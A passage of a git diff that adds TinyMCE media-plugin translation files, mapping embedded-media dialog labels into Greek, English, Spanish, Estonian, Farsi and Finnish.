\u03c0\u03c1\u03bf\u03c7\u03c9\u03c1\u03b7\u03bc\u03ad\u03bd\u03bf\u03c5\u03c2.\n\u0395\u03c0\u03af\u03c3\u03b7\u03c2 \u03ba\u03b1\u03bb\u03cc \u03b8\u03b1 \u03ae\u03c4\u03b1\u03bd \u03bd\u03b1 \u03c0\u03c1\u03bf\u03c3\u03b8\u03ad\u03c3\u03b5\u03c4\u03b5 \u03bc\u03b9\u03b1 \u03b1\u03c0\u03bb\u03ae (\u03cc\u03c7\u03b9 \u03c1\u03bf\u03ae\u03c2) \u03c0\u03b7\u03b3\u03ae..",qtsrc:"\u03a0\u03b7\u03b3\u03ae \u03b1\u03c1\u03c7\u03b5\u03af\u03bf\u03c5",progress:"\u03a0\u03c1\u03cc\u03bf\u03b4\u03bf\u03c2",sound:"\u0389\u03c7\u03bf\u03c2",swstretchvalign:"\u039a\u03b1\u03c4\u03b1\u03ba\u03cc\u03c1\u03c5\u03c6\u03b7 \u03b5\u03c0\u03ad\u03ba\u03c4\u03b1\u03c3\u03b7",swstretchhalign:"\u039f\u03c1\u03b9\u03b6\u03cc\u03bd\u03c4\u03b9\u03b1 \u03b5\u03c0\u03ad\u03ba\u03c4\u03b1\u03c3\u03b7",swstretchstyle:"\u03a3\u03c4\u03c5\u03bb \u03b5\u03c0\u03ad\u03ba\u03c4\u03b1\u03c3\u03b7\u03c2",scriptcallbacks:"Script callbacks","align_top_right":"\u03a0\u03ac\u03bd\u03c9 \u03b4\u03b5\u03be\u03b9\u03ac",uimode:"\u039b\u03b5\u03b9\u03c4\u03bf\u03c5\u03c1\u03b3\u03af\u03b1 UI",rate:"\u03a1\u03c5\u03b8\u03bc\u03cc\u03c2",playcount:"\u03a0\u03cc\u03c3\u03b5\u03c2 \u03c6\u03bf\u03c1\u03ad\u03c2 \u03b8\u03b1 \u03c0\u03b1\u03af\u03be\u03b5\u03b9",defaultframe:"\u03a0\u03c1\u03bf\u03b5\u03c0\u03b9\u03bb\u03b5\u03b3\u03bc\u03ad\u03bd\u03bf \u03ba\u03b1\u03c1\u03ad",currentposition:"\u03a4\u03c1\u03ad\u03c7\u03bf\u03c5\u03c3\u03b1 \u03b8\u03ad\u03c3\u03b7",currentmarker:"\u03a4\u03c1\u03ad\u03c7\u03bf\u03bd \u03c3\u03b7\u03bc\u03ac\u03b4\u03b9",captioningid:"Captioning id",baseurl:"URL \u03b2\u03ac\u03c3\u03b7\u03c2",balance:"\u0399\u03c3\u03bf\u03c1\u03c1\u03bf\u03c0\u03af\u03b1",windowlessvideo:"\u0392\u03af\u03bd\u03c4\u03b5\u03bf \u03c7\u03c9\u03c1\u03af\u03c2 \u03c0\u03b1\u03c1\u03ac\u03b8\u03c5\u03c1\u03bf",stretchtofit:"\u0395\u03c0\u03ad\u03ba\u03c4\u03b1\u03c3\u03b7 \u03ce\u03c3\u03c4\u03b5 \u03bd\u03b1 \u03c7\u03c9\u03c1\u03ad\u03c3\u03b5\u03b9",mute:"\u03a3\u03af\u03b3\u03b1\u03c3\u03b7",invokeurls:"\u039a\u03bb\u03ae\u03c3\u03b7 URLs",fullscreen:"\u03a0\u03bb\u03ae\u03c1\u03b7\u03c2 \u03bf\u03b8\u03cc\u03bd\u03b7",enabled:"\u0395\u03bd\u03b5\u03c1\u03b3\u03bf\u03c0\u03bf\u03af\u03b7\u03c3\u03b7",autostart:"\u0391\u03c5\u03c4\u03cc\u03bc\u03b1\u03c4\u03b7 \u03b5\u03ba\u03ba\u03af\u03bd\u03b7\u03c3\u03b7",volume:"\u0388\u03bd\u03c4\u03b1\u03c3\u03b7",target:"\u03a3\u03c4\u03cc\u03c7\u03bf\u03c2",qtsrcchokespeed:"Choke speed",href:"Href",endtime:"\u03a7\u03c1\u03cc\u03bd\u03bf\u03c2 \u03bb\u03ae\u03be\u03b7\u03c2",starttime:"\u03a7\u03c1\u03cc\u03bd\u03bf\u03c2 \u03ad\u03bd\u03b1\u03c1\u03be\u03b7\u03c2",enablejavascript:"\u0395\u03bd\u03b5\u03c1\u03b3\u03bf\u03c0\u03bf\u03af\u03b7\u03c3\u03b7 JavaScript",correction:"\u03a7\u03c9\u03c1\u03af\u03c2 \u03b4\u03b9\u03cc\u03c1\u03b8\u03c9\u03c3\u03b7",targetcache:"\u039c\u03bd\u03ae\u03bc\u03b7 cache \u03c3\u03c4\u03cc\u03c7\u03bf\u03c5",playeveryframe:"\u03a0\u03b1\u03af\u03be\u03b9\u03bc\u03bf \u03cc\u03bb\u03c9\u03bd \u03c4\u03c9\u03bd \u03ba\u03b1\u03c1\u03ad",kioskmode:"\u039b\u03b5\u03b9\u03c4\u03bf\u03c5\u03c1\u03b3\u03af\u03b1 Kiosk",controller:"\u0395\u03bb\u03b5\u03b3\u03ba\u03c4\u03ae\u03c2",menu:"\u0395\u03bc\u03c6\u03ac\u03bd\u03b9\u03c3\u03b7 \u03bc\u03b5\u03bd\u03bf\u03cd",loop:"\u0395\u03c0\u03b1\u03bd\u03ac\u03bb\u03b7\u03c8\u03b7",play:"\u0391\u03c5\u03c4\u03cc\u03bc\u03b1\u03c4\u03bf \u03b5\u03ba\u03ba\u03af\u03bd\u03b7\u03c3\u03b7",hspace:"\u0391\u03c0\u03cc\u03c3\u03c4\u03b1\u03c3\u03b7 \u03bf\u03c1\u03b9\u03b6\u03cc\u03bd\u03c4\u03b9\u03b1",vspace:"\u0391\u03c0\u03cc\u03c3\u03c4\u03b1\u03c3\u03b7 \u03ba\u03ac\u03b8\u03b5\u03c4\u03b7","class_name":"\u039a\u03bb\u03ac\u03c3\u03b7",name:"\u038c\u03bd\u03bf\u03bc\u03b1",id:"Id",type:"\u03a4\u03cd\u03c0\u03bf\u03c2",size:"\u0394\u03b9\u03b1\u03c3\u03c4\u03ac\u03c3\u03b5\u03b9\u03c2",preview:"\u03a0\u03c1\u03bf\u03b5\u03c0\u03b9\u03c3\u03ba\u03cc\u03c0\u03b7\u03c3\u03b7","constrain_proportions":"\u0394\u03b9\u03b1\u03c4\u03ae\u03c1\u03b7\u03c3\u03b7 \u03b1\u03bd\u03b1\u03bb\u03bf\u03b3\u03af\u03b1\u03c2 \u03c0\u03bb. - \u03cd\u03c8\u03bf\u03c5\u03c2",controls:"\u03a7\u03b5\u03b9\u03c1\u03b9\u03c3\u03c4\u03ae\u03c1\u03b9\u03b1",numloop:"\u03a0\u03cc\u03c3\u03b5\u03c2 \u03c6\u03bf\u03c1\u03ad\u03c2 \u03b8\u03b1 \u03c0\u03b1\u03af\u03be\u03b5\u03b9",console:"\u039a\u03bf\u03bd\u03c3\u03cc\u03bb\u03b1",cache:"\u039c\u03bd\u03ae\u03bc\u03b7 cache",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"\u039c\u03b5\u03c4\u03b1\u03b2\u03bb\u03b7\u03c4\u03ad\u03c2 Flash",base:"\u0392\u03ac\u03c3\u03b7",bgcolor:"\u03a6\u03cc\u03bd\u03c4\u03bf",wmode:"WMode",salign:"SAlign",align:"\u03a3\u03c4\u03bf\u03af\u03c7\u03b9\u03c3\u03b7",scale:"\u039a\u03bb\u03af\u03bc\u03b1\u03ba\u03b1",quality:"\u03a0\u03bf\u03b9\u03cc\u03c4\u03b7\u03c4\u03b1",shuffle:"\u03a4\u03c5\u03c7\u03b1\u03af\u03b1 \u03c3\u03b5\u03b9\u03c1\u03ac",prefetch:"\u03a0\u03c1\u03bf\u03c6\u03cc\u03c1\u03c4\u03c9\u03c3\u03b7",nojava:"\u03a7\u03c9\u03c1\u03af\u03c2 java",maintainaspect:"\u0394\u03b9\u03b1\u03c4\u03ae\u03c1\u03b7\u03c3\u03b7 \u03b1\u03bd\u03b1\u03bb\u03bf\u03b3\u03af\u03b1\u03c2 \u03c0\u03bb. - \u03cd\u03c8\u03bf\u03c5\u03c2",imagestatus:"\u039a\u03b1\u03c4\u03ac\u03c3\u03c4\u03b1\u03c3\u03b7 \u03b5\u03b9\u03ba\u03cc\u03bd\u03b1\u03c2",center:"\u039a\u03ad\u03bd\u03c4\u03c1\u03bf",autogotourl:"\u0391\u03c5\u03c4\u03cc\u03bc\u03b1\u03c4\u03b7 \u03bc\u03b5\u03c4\u03ac\u03b2\u03b1\u03c3\u03b7 \u03c3\u03c4\u03bf URL","shockwave_options":"\u0395\u03c0\u03b9\u03bb\u03bf\u03b3\u03ad\u03c2 Shockwave","rmp_options":"\u0395\u03c0\u03b9\u03bb\u03bf\u03b3\u03ad\u03c2 Real media player","wmp_options":"\u0395\u03c0\u03b9\u03bb\u03bf\u03b3\u03ad\u03c2 Windows media player","qt_options":"\u0395\u03c0\u03b9\u03bb\u03bf\u03b3\u03ad\u03c2 Quicktime","flash_options":"\u0395\u03c0\u03b9\u03bb\u03bf\u03b3\u03ad\u03c2 Flash",hidden:"\u039a\u03c1\u03c5\u03c6\u03cc","align_bottom_left":"\u039a\u03ac\u03c4\u03c9 \u03b1\u03c1\u03b9\u03c3\u03c4\u03b5\u03c1\u03ac","align_bottom_right":"\u039a\u03ac\u03c4\u03c9 \u03b4\u03b5\u03be\u03b9\u03ac","html5_video_options":"\u0395\u03c0\u03b9\u03bb\u03bf\u03b3\u03ad\u03c2 HTML5 Video",altsource1:"\u0395\u03bd\u03b1\u03bb\u03bb\u03b1\u03ba\u03c4\u03b9\u03ba\u03ae \u03c0\u03b7\u03b3\u03ae 1",altsource2:"\u0395\u03bd\u03b1\u03bb\u03bb\u03b1\u03ba\u03c4\u03b9\u03ba\u03ae \u03c0\u03b7\u03b3\u03ae 2",preload:"\u03a0\u03c1\u03bf\u03c6\u03cc\u03c1\u03c4\u03c9\u03c3\u03b7",poster:"\u0391\u03c6\u03af\u03c3\u03b1",source:"\u03a0\u03b7\u03b3\u03ae","html5_audio_options":"\u0395\u03c0\u03b9\u03bb\u03bf\u03b3\u03ad\u03c2 \u03ae\u03c7\u03bf\u03c5","embedded_audio_options":"Embedded Audio Options","preload_none":"Don\'t Preload","preload_metadata":"Preload video metadata","preload_auto":"Let user\'s browser decide",flash:"",quicktime:"",windowsmedia:"",realmedia:"",shockwave:"",audio:"",video:"",iframe:"",embeddedaudio:""}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/media/langs/en_dlg.js b/js/tiny_mce/plugins/media/langs/en_dlg.js new file mode 100755 index 0000000..d0aaa13 --- /dev/null +++ b/js/tiny_mce/plugins/media/langs/en_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('en.media_dlg',{list:"List",file:"File/URL",advanced:"Advanced",general:"General",title:"Insert/Edit Embedded Media","align_top_left":"Top Left","align_center":"Center","align_left":"Left","align_bottom":"Bottom","align_right":"Right","align_top":"Top","qt_stream_warn":"Streamed RTSP resources should be added to the QT Source field under the Advanced tab.\nYou should also add a non-streamed version to the Source field.",qtsrc:"QT Source",progress:"Progress",sound:"Sound",swstretchvalign:"Stretch V-Align",swstretchhalign:"Stretch H-Align",swstretchstyle:"Stretch Style",scriptcallbacks:"Script Callbacks","align_top_right":"Top Right",uimode:"UI Mode",rate:"Rate",playcount:"Play Count",defaultframe:"Default Frame",currentposition:"Current Position",currentmarker:"Current Marker",captioningid:"Captioning ID",baseurl:"Base URL",balance:"Balance",windowlessvideo:"Windowless Video",stretchtofit:"Stretch to Fit",mute:"Mute",invokeurls:"Invoke URLs",fullscreen:"Full Screen",enabled:"Enabled",autostart:"Auto Start",volume:"Volume",target:"Target",qtsrcchokespeed:"Choke Speed",href:"HREF",endtime:"End Time",starttime:"Start Time",enablejavascript:"Enable JavaScript",correction:"No Correction",targetcache:"Target Cache",playeveryframe:"Play Every Frame",kioskmode:"Kiosk Mode",controller:"Controller",menu:"Show Menu",loop:"Loop",play:"Auto Play",hspace:"H-Space",vspace:"V-Space","class_name":"Class",name:"Name",id:"ID",type:"Type",size:"Dimensions",preview:"Preview","constrain_proportions":"Constrain Proportions",controls:"Controls",numloop:"Num Loops",console:"Console",cache:"Cache",autohref:"Auto HREF",liveconnect:"SWLiveConnect",flashvars:"Flash Vars",base:"Base",bgcolor:"Background",wmode:"WMode",salign:"SAlign",align:"Align",scale:"Scale",quality:"Quality",shuffle:"Shuffle",prefetch:"Prefetch",nojava:"No Java",maintainaspect:"Maintain Aspect",imagestatus:"Image Status",center:"Center",autogotourl:"Auto Goto URL","shockwave_options":"Shockwave Options","rmp_options":"Real Media Player Options","wmp_options":"Windows Media Player Options","qt_options":"QuickTime Options","flash_options":"Flash Options",hidden:"Hidden","align_bottom_left":"Bottom Left","align_bottom_right":"Bottom Right","embedded_audio_options":"Embedded Audio Options","html5_video_options":"HTML5 Video Options",altsource1:"Alternative source 1",altsource2:"Alternative source 2",preload:"Preload",poster:"Poster",source:"Source","html5_audio_options":"Audio Options","preload_none":"Don\'t Preload","preload_metadata":"Preload video metadata","preload_auto":"Let user\'s browser decide",flash:"",quicktime:"",windowsmedia:"",realmedia:"",shockwave:"",audio:"",video:"",iframe:"",embeddedaudio:""}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/media/langs/es_dlg.js b/js/tiny_mce/plugins/media/langs/es_dlg.js new file mode 100755 index 0000000..9814278 --- /dev/null +++ b/js/tiny_mce/plugins/media/langs/es_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('es.media_dlg',{list:"Lista",file:"Archivo/URL",advanced:"Avanzado",general:"General",title:"Insertar/editar medio embebido","align_top_left":"Arriba Izda.","align_center":"Centrado","align_left":"Izquierda","align_bottom":"Debajo","align_right":"Derecha","align_top":"Arriba","qt_stream_warn":"Los recursos rtsp de Streaming deber\u00edan a\u00f1adirse en el campo QT Src de la pesta\u00f1a avanzada.\nAdem\u00e1s deber\u00eda a\u00f1adir una versi\u00f3n no Streaming en el campo Src.",qtsrc:"QT Src",progress:"Progreso",sound:"Sonido",swstretchvalign:"Alin. V. Estiramiento",swstretchhalign:"Alin. H. Estiramiento",swstretchstyle:"Estilo estiramiento",scriptcallbacks:"Script callbacks","align_top_right":"Arriba Dcha.",uimode:"Modo UI",rate:"Ratio",playcount:"Cuantas reproducciones",defaultframe:"Frame predet.",currentposition:"Posici\u00f3n actual",currentmarker:"Marcador actual",captioningid:"Captioning id",baseurl:"URL Base",balance:"Balance",windowlessvideo:"Video sin ventana",stretchtofit:"Estirar para ajustar",mute:"Silencio",invokeurls:"Invocar URLs",fullscreen:"Pantalla Completa",enabled:"Habilitado",autostart:"Comienzo Autom\u00e1tico",volume:"Volumen",target:"Target",qtsrcchokespeed:"Vel. de choque",href:"Href",endtime:"Fin",starttime:"Inicio",enablejavascript:"Habilitar JavaScript",correction:"Sin correci\u00f3n",targetcache:"Target cache",playeveryframe:"Reproducir todo los frames",kioskmode:"Kiosk mode",controller:"Controller",menu:"Mostrar Men\u00fa",loop:"Repetitivo",play:"Comienzo Autom\u00e1tico",hspace:"H-Space",vspace:"V-Space","class_name":"Clase",name:"Nombre",id:"Id",type:"Tipo",size:"Dimensiones",preview:"Vista Previa","constrain_proportions":"Bloquear relaci\u00f3n de aspecto",controls:"Controles",numloop:"N\u00fam. repeticiones",console:"Consola",cache:"Cach\u00e9",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"Variables de flash",base:"Base",bgcolor:"Fondo",wmode:"WMode",salign:"SAlign",align:"Alineaci\u00f3n",scale:"Escalar",quality:"Calidad",shuffle:"Aleatorio",prefetch:"Preb\u00fasqueda",nojava:"Sin java",maintainaspect:"Mantener aspecto",imagestatus:"Estado de imagen",center:"Centrado",autogotourl:"Ir a URL autom\u00e1t.","shockwave_options":"Opciones Shockwave","rmp_options":"Opciones Real media player","wmp_options":"Opciones Windows media player","qt_options":"Opciones Quicktime","flash_options":"Opciones Flash",hidden:"Hidden","align_bottom_left":"Debajo Izda.","align_bottom_right":"Debajo Dcha.",flash:"flash",quicktime:"quicktime","embedded_audio_options":"Opciones sobre Audio incrustado",windowsmedia:"windowsmedia",realmedia:"realmedia",shockwave:"shockwave",audio:"audio",video:"video","html5_video_options":"Opciones Video HTML5",altsource1:"Fuente alternativa 1",altsource2:"Fuente alternativa 2",preload:"Precarga",poster:"P\u00f3ster",source:"Fuente","html5_audio_options":"Opciones de audio","preload_none":"No recargar","preload_metadata":"Metadatos de la precarga de v\u00eddeo","preload_auto":"Permitir que decida el navegador del usuario",iframe:"iframe",embeddedaudio:"audio incrustado"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/media/langs/et_dlg.js b/js/tiny_mce/plugins/media/langs/et_dlg.js new file mode 100755 index 0000000..0e305b0 --- /dev/null +++ b/js/tiny_mce/plugins/media/langs/et_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('et.media_dlg',{list:"Nimekiri",file:"Fail/URL",advanced:"T\u00e4psem",general:"\u00dcldine",title:"Sisesta/muuda meediat","align_top_left":"\u00dcleval vasakul","align_center":"Keskel","align_left":"Vasakul","align_bottom":"All","align_right":"Paremal","align_top":"\u00dcleval","qt_stream_warn":"Striimitav variant peaks olema lisatud.",qtsrc:"QT Src",progress:"Progress",sound:"Heli",swstretchvalign:"Venita V-joondust",swstretchhalign:"Venita H-joondust",swstretchstyle:"Venita stiili",scriptcallbacks:"Skripti tagasikutse","align_top_right":"Pleval paremal",uimode:"UI Reziim",rate:"Hinda",playcount:"M\u00e4ngukorrad",defaultframe:"Vaikimisi raam",currentposition:"Antud positioon",currentmarker:"Antud marker",captioningid:"Tiitri ID",baseurl:"Baas URL",balance:"Tasakaal",windowlessvideo:"Aknata video",stretchtofit:"Venita sobivaks",mute:"Vaigista",invokeurls:"N\u00e4ita URL\u2019e",fullscreen:"T\u00e4isekraan",enabled:"Lubatud",autostart:"Auto-start",volume:"Valjudus",target:"Sihtm\u00e4rk",qtsrcchokespeed:"Kiirus",href:"Href",endtime:"L\u00f5pu aeg",starttime:"Stardi aeg",enablejavascript:"Luba JavaScript\u2019i",correction:"Parandust ei ole",targetcache:"Sihtm\u00e4rgi vahem\u00e4lu",playeveryframe:"M\u00e4ngi igat raami",kioskmode:"Kioski reziim",controller:"Kontrollija",menu:"N\u00e4ita men\u00fc\u00fcd",loop:"Auto-kordus",play:"Auto-start",hspace:"H-vahe",vspace:"V-vahe","class_name":"Klass",name:"Nime",id:"ID",type:"T\u00fc\u00fcp",size:"M\u00f5\u00f5dud",preview:"Eelvaade","constrain_proportions":"S\u00e4ilita proportsioon",controls:"Kontrollid",numloop:"Kordused",console:"Konsool",cache:"Vahem\u00e4lu",autohref:"Auto-HREF",liveconnect:"SWLive-\u00dchendus",flashvars:"Flashiv\u00e4rk",base:"Baas",bgcolor:"Taust",wmode:"WMoodus",salign:"SJoondus",align:"Joondus",scale:"M\u00f5\u00f5tkava",quality:"Kvaliteet",shuffle:"Sega",prefetch:"Prefetch",nojava:"Ilma java\u2019ta",maintainaspect:"S\u00e4ilitamise aspekt",imagestatus:"Pildi staatus",center:"Keskel",autogotourl:"Auto-URL","shockwave_options":"Shockwave\u2019i seaded","rmp_options":"Real media player\u2019i seaded","wmp_options":"Windows media player\u2019i seaded","qt_options":"Quicktime\u2019 seaded","flash_options":"Flash\u2019i seaded",hidden:"Peidetud","align_bottom_left":"All vasakul","align_bottom_right":"All paremal",flash:"flash",quicktime:"quicktime","embedded_audio_options":"Manustatud heli valikud",windowsmedia:"windowsmedia",realmedia:"realmedia ",shockwave:"shockwave ",audio:"audio",video:"video","html5_video_options":"HTML5 video valikud",altsource1:"Alternatiivallikas 1",altsource2:"Alternatiivallikas 2",preload:"Eellae",poster:"Poster",source:"Allikas","html5_audio_options":"Heli valikud","preload_none":"\u00c4ra eellae","preload_metadata":"Eellae video metaandmed","preload_auto":"Lase kasutaja brauseril otsustada",iframe:"iframe",embeddedaudio:"embeddedaudio"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/media/langs/fa_dlg.js b/js/tiny_mce/plugins/media/langs/fa_dlg.js new file mode 100755 index 0000000..56f2e63 --- /dev/null +++ b/js/tiny_mce/plugins/media/langs/fa_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fa.media_dlg',{list:"\u0644\u06cc\u0633\u062a",file:"\u0641\u0627\u06cc\u0644/URL",advanced:"\u067e\u06cc\u0634\u0631\u0641\u062a\u0647",general:"\u0639\u0645\u0648\u0645\u06cc",title:"\u062f\u0631\u062c / \u0648\u06cc\u0631\u0627\u06cc\u0634 \u0631\u0633\u0627\u0646\u0647 \u062c\u0627\u0633\u0627\u0632\u06cc \u0634\u062f\u0647 (Embeded Media)","align_top_left":"\u0628\u0627\u0644\u0627 \u0686\u067e","align_center":"\u0648\u0633\u0637","align_left":"\u0686\u067e","align_bottom":"\u067e\u0627\u06cc\u06cc\u0646","align_right":"\u0631\u0627\u0633\u062a","align_top":"\u0628\u0627\u0644\u0627","qt_stream_warn":"\u0645\u0646\u0627\u0628\u0639 Streamed rtsp \u0628\u0627\u06cc\u062f \u062f\u0631 \u0628\u0631\u06af\u0647 (Tab) \u067e\u06cc\u0634\u0631\u0641\u062a\u0647 \u062f\u0631 \u0641\u06cc\u0644\u062f \u0645\u0646\u0628\u0639 QT \u0627\u0636\u0627\u0641\u0647 \u0634\u0648\u062f.\n\u0634\u0645\u0627 \u0628\u0627\u06cc\u062f \u0647\u0645\u0686\u0646\u06cc\u0646 \u06cc\u06a9 \u0646\u0633\u062e\u0647 \u063a\u06cc\u0631 streamed \u0631\u0627 \u062f\u0631 \u0641\u06cc\u0644\u062f \u0645\u0646\u0628\u0639 \u0627\u0636\u0627\u0641\u0647 \u0646\u0645\u0627\u0626\u06cc\u062f..",qtsrc:"\u0645\u0646\u0628\u0639 QT",progress:"\u067e\u06cc\u0634\u0631\u0641\u062a",sound:"\u0635\u062f\u0627",swstretchvalign:"\u06a9\u0634\u06cc\u062f\u0646 \u062a\u0631\u0627\u0632 \u0639\u0645\u0648\u062f\u06cc",swstretchhalign:"\u06a9\u0634\u06cc\u062f\u0646 \u062a\u0631\u0627\u0632 \u0627\u0641\u0642\u06cc",swstretchstyle:"\u06a9\u0634\u06cc\u062f\u0646 \u0627\u0633\u062a\u06cc\u0644",scriptcallbacks:"\u0627\u0633\u06a9\u0631\u06cc\u067e\u062a Callbacks","align_top_right":"\u0628\u0627\u0644\u0627 \u0631\u0627\u0633\u062a",uimode:"\u062d\u0627\u0644\u062a UI",rate:"\u0646\u0631\u062e",playcount:"\u062a\u0639\u062f\u0627\u062f \u067e\u062e\u0634",defaultframe:"\u0641\u0631\u06cc\u0645 \u067e\u06cc\u0634\u0641\u0631\u0636",currentposition:"\u0645\u0648\u0642\u0639\u06cc\u062a \u0641\u0639\u0644\u06cc",currentmarker:"\u0646\u0634\u0627\u0646\u06af\u0631 \u0641\u0639\u0644\u06cc",captioningid:"\u0634\u0646\u0627\u0633\u0647 \u0639\u0646\u0648\u0627\u0646",baseurl:"URL \u067e\u0627\u06cc\u0647",balance:"\u062a\u0648\u0627\u0632\u0646 (Balance)",windowlessvideo:"\u0648\u06cc\u062f\u0626\u0648\u06cc \u06a9\u0645 \u067e\u0646\u062c\u0631\u0647",stretchtofit:"\u06a9\u0634\u06cc\u062f\u0646 \u062c\u0647\u062a \u06af\u0646\u062c\u0627\u0646\u062f\u0646 \u06a9\u0627\u0645\u0644",mute:"\u0628\u06cc \u0635\u062f\u0627",invokeurls:"Invoke URLs",fullscreen:"\u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647",enabled:"\u0641\u0639\u0627\u0644 \u0634\u062f\u0647",autostart:"\u0634\u0631\u0648\u0639 \u0627\u062a\u0648\u0645\u0627\u062a\u06cc\u06a9",volume:"\u0628\u0644\u0646\u062f\u06cc \u0635\u062f\u0627",target:"\u0645\u0642\u0635\u062f (Target)",qtsrcchokespeed:"\u0633\u0631\u0639\u062a Choke",href:"Href",endtime:"\u0632\u0645\u0627\u0646 \u067e\u0627\u06cc\u0627\u0646",starttime:"\u0632\u0645\u0627\u0646 \u0634\u0631\u0648\u0639",enablejavascript:"\u0641\u0639\u0627\u0644 \u0628\u0648\u062f\u0646 JavaScript",correction:"\u0628\u062f\u0648\u0646 \u062a\u0635\u062d\u06cc\u062d",targetcache:"\u06a9\u0634 \u0645\u0642\u0635\u062f (Target Cache)",playeveryframe:"\u067e\u062e\u0634 \u0647\u0631 \u0641\u0631\u06cc\u0645 (Frame)",kioskmode:"\u062d\u0627\u0644\u062a Kiosk",controller:"\u06a9\u0646\u062a\u0631\u0644 \u06a9\u0646\u0646\u062f\u0647",menu:"\u0646\u0645\u0627\u06cc\u0634 \u0645\u0646\u0648",loop:"\u062d\u0644\u0642\u0647 (Loop)",play:"\u067e\u062e\u0634 \u0627\u062a\u0648\u0645\u0627\u062a\u06cc\u06a9",hspace:"\u0641\u0627\u0635\u0644\u0647 \u0627\u0641\u0642\u06cc",vspace:"\u0641\u0627\u0635\u0644\u0647 \u0639\u0645\u0648\u062f\u06cc","class_name":"\u06a9\u0644\u0627\u0633",name:"\u0646\u0627\u0645",id:"\u0634\u0646\u0627\u0633\u0647",type:"\u0646\u0648\u0639",size:"\u0627\u0628\u0639\u0627\u062f",preview:"\u067e\u06cc\u0634 \u0646\u0645\u0627\u06cc\u0634","constrain_proportions":"\u062d\u0641\u0638 \u062a\u0646\u0627\u0633\u0628",controls:"\u06a9\u0646\u062a\u0631\u0644 \u0647\u0627",numloop:"\u062a\u0639\u062f\u0627\u062f \u062d\u0644\u0642\u0647 \u0647\u0627",console:"\u06a9\u0646\u0633\u0648\u0644",cache:"\u06a9\u0634",autohref:"HREF \u0627\u062a\u0648\u0645\u0627\u062a\u06cc\u06a9",liveconnect:"\u0627\u0631\u062a\u0628\u0627\u0637 SWLive",flashvars:"\u0645\u062a\u063a\u06cc\u0631\u0647\u0627\u06cc Flash",base:"\u067e\u0627\u06cc\u0647 (Base)",bgcolor:"\u0632\u0645\u06cc\u0646\u0647",wmode:"WMode",salign:"SAlign",align:"\u062a\u0631\u0627\u0632",scale:"\u0645\u0642\u06cc\u0627\u0633",quality:"\u06a9\u06cc\u0641\u06cc\u062a",shuffle:"\u062f\u0631 \u0647\u0645 \u0622\u0645\u06cc\u062e\u062a\u0646",prefetch:"\u067e\u06cc\u0634 \u0648\u0627\u06a9\u0634\u06cc",nojava:"\u0628\u062f\u0648\u0646 java",maintainaspect:"\u062d\u0641\u0638 \u062a\u0646\u0627\u0633\u0628 \u0648\u062c\u0648\u0647",imagestatus:"\u0648\u0636\u0639\u06cc\u062a \u062a\u0635\u0648\u06cc\u0631",center:"\u0648\u0633\u0637",autogotourl:"\u0631\u0641\u062a\u0646 \u0627\u062a\u0648\u0645\u0627\u062a\u06cc\u06a9 \u0628\u0647 URL","shockwave_options":"\u062a\u0646\u0638\u06cc\u0645\u0627\u062a Shockwave","rmp_options":"\u062a\u0646\u0638\u06cc\u0645\u0627\u062a Real media player","wmp_options":"\u062a\u0646\u0638\u06cc\u0645\u0627\u062a Windows media player","qt_options":"\u062a\u0646\u0638\u06cc\u0645\u0627\u062a Quicktime","flash_options":"\u062a\u0646\u0638\u06cc\u0645\u0627\u062a \u0641\u0644\u0634",hidden:"\u0645\u062e\u0641\u06cc","align_bottom_left":"\u067e\u0627\u06cc\u06cc\u0646 \u0686\u067e","align_bottom_right":"\u067e\u0627\u06cc\u06cc\u0646 \u0631\u0627\u0633\u062a",preload:"\u067e\u06cc\u0634\u200c\u0628\u0627\u0631\u06af\u06cc\u0631\u06cc",source:"\u0645\u0646\u0628\u0639","embedded_audio_options":"Embedded Audio Options","html5_video_options":"HTML5 Video Options",altsource1:"Alternative source 1",altsource2:"Alternative source 2",poster:"Poster","html5_audio_options":"Audio Options","preload_none":"Don\'t Preload","preload_metadata":"Preload video metadata","preload_auto":"Let user\'s browser decide",flash:"",quicktime:"",windowsmedia:"",realmedia:"",shockwave:"",audio:"",video:"",iframe:"",embeddedaudio:""}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/media/langs/fi_dlg.js b/js/tiny_mce/plugins/media/langs/fi_dlg.js new file mode 100755 index 0000000..2ac2fca --- /dev/null +++ b/js/tiny_mce/plugins/media/langs/fi_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fi.media_dlg',{list:"Lista",file:"Tiedosto/URL",advanced:"Edistyneet",general:"Yleiset",title:"Lis\u00e4\u00e4/muokkaa upotettua mediaa","align_top_left":"Yl\u00e4-vasemmalla","align_center":"Keskell\u00e4","align_left":"Vasemmalla","align_bottom":"Alhaalla","align_right":"Oikealla","align_top":"Ylh\u00e4\u00e4ll\u00e4","qt_stream_warn":"Streamatut rtsp-resurssit tulisi lis\u00e4t\u00e4 QT Src -kentt\u00e4\u00e4n edistynyt-v\u00e4lilehdelle.\nSinun kannattaa lis\u00e4t\u00e4 my\u00f6s ei-streamattu versio Src-kentt\u00e4\u00e4n.",qtsrc:"QT Src",progress:"Eteneminen",sound:"\u00c4\u00e4ni",swstretchvalign:"Venyt\u00e4 pystysuunnassa",swstretchhalign:"Venyt\u00e4 vaakasuunnassa",swstretchstyle:"Venytystyyli",scriptcallbacks:"Skriptin takaisinkutsut","align_top_right":"Yl\u00e4-oikealla",uimode:"UI-moodi",rate:"Rate",playcount:"Toistolaskin",defaultframe:"Oletusruutu",currentposition:"T\u00e4m\u00e4nhetkinen sijainti",currentmarker:"T\u00e4m\u00e4nhetkinen merkki",captioningid:"Otsikointi-id",baseurl:"Perus URL-osoitteet",balance:"Tasapaino",windowlessvideo:"Ikkunaton video",stretchtofit:"Venyt\u00e4 sopimaan",mute:"Hiljennys",invokeurls:"Kutsu URL-osoitteet",fullscreen:"Kokoruutu",enabled:"P\u00e4\u00e4ll\u00e4",autostart:"Automaattinen aloitus",volume:"\u00c4\u00e4nen 